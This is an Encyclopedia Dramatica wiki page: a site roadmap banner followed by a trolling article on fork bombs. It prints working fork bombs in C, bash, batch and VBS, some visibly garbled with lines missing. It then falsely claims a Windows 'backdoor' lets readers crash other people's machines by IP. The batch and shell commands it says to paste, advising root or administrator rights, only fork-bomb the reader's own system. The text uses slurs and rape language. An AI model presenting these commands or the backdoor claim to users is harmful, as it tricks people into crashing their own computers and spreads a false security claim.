⚠️ Encyclopedia Dramatica is currently being restored by automated scripts ⚠️

There's been a lot of questions as to what's going on with the site and what comes next. So we have this (ordered) roadmap of what's being worked on and what's to come. This will be updated until the roadmap is complete as Æ has a lot of missing features and ideas that I'd like to fix in regards to its offerings before I implement big plans for the site's popularity and well-being in 2021.

Æ Roadmap

  • Content restoration (Mostly done, few things missing that will be restored sporadically)
  • Image restoration (Being run in background, nothing I can do cept wait)
  • Æ Imageboard (Currently being worked on)
  • Mediawiki upgrade and backend fixes
  • .onion domain for Tor-friendly editing and viewing
  • CSS overhaul (Fixing things like the videos on mobile, and overall a rehaul of the wiki's look to be more friendly to readers)
  • Paid bounty board for new articles (Won't be managed by me for legal reasons however I will ensure it runs smoothly)
  • Anonymous phone # service for those seeking ban evades from Twitter as well as a phone number not tied to their name (more details at launch)

  • Currently we are nearing our annual LLC renewal fee ($650) as well throwing the funds required for these other changes and aspects. If you would like to support Æ consider purchasing a copy of The Hustler's Bible or securing some Merch. Donating is also appreciated however I would rather give something back as per the two options above.

    If you have any questions you can join our public Telegram chat to DM me privately or @ me in chat.

    You can also email me via [email protected]

    Merch notes: Thank you to all who have purchased merch. We will ship late January or mid February depending on our provider's speed.

    A forkbomb is a program that creates over 9000 copies of itself, thus completely hosing whatever computer it's run on. Forkbombs are commonly discovered by bored Computer Science III students, usually with hilarious results. Forkbombs will completely fuck up a running system, but unless you managed to write it completely wrong, forkbombs don't do any lasting damage.

    How to forkbomb


    int main() { while(1) { fork(); } return 0; }


    fork while fork


    :(){ :|:& };:

    For Ubuntu, open the menu, go to accessories, hit terminal, and type this. then run away. or stick around.




    start %0
    goto :s


    goto A

    Visual Basic (VBS)

    DIM objShell
    set objShell = wscript.createObject("wscript.shell")
    iReturn = objShell.Run("CMD /C loop.vbs", background , True)

    How to forkbomb someone else

    A little-known backdoor in Windows lets you forkbomb anyone on the Internets who is running Windows with a few simple commands. Go on... you know they're asking for it. DO IT FAGGOT!

    How to Break Windows

    Here are the commands you need to run:

    if not exist REMOTE_IP set /p REMOTE_IP="Target plz? "
    %0|%0 %REMOTE_IP%
    goto O

    Cuntpaste that into Notepad, saving it as nuke.bat. Then double-click nuke.bat. Type the IP address of the poor sucker you're about to destroy, then watch as nuke.bat creates over 9000 processes on said sucker's machine.

    Note: For extra lulz, Vista users should run nuke.bat as administrator. Running the scripts as administrator causes your target's machine to die at least 100 times faster.

    A Mac is fine too

    Don't worry, Mac/Linux fans. Using the built-in connection features of your shell, you can also participate in the e-rape of people you hate. Just cuntpaste these three commands into a terminal:

    ulimit -u unlimited       # Remove any limits on sending packets
    export REMOTE_IP=  # Replace with the target IP
    _(){_|_&};_ $REMOTE_IP    # Open the connection and commence the rape

    Again, for maximum lulz, run the above from a root terminal (try running sudo su before the copypasta).

    Did you know?

    Forkbombs are one topic covered in Computer Science III, along with DDoSing ping, IP addresses, and other ways of being a 1337 hax0r.


    Forkbomb is part of a series on Programming.
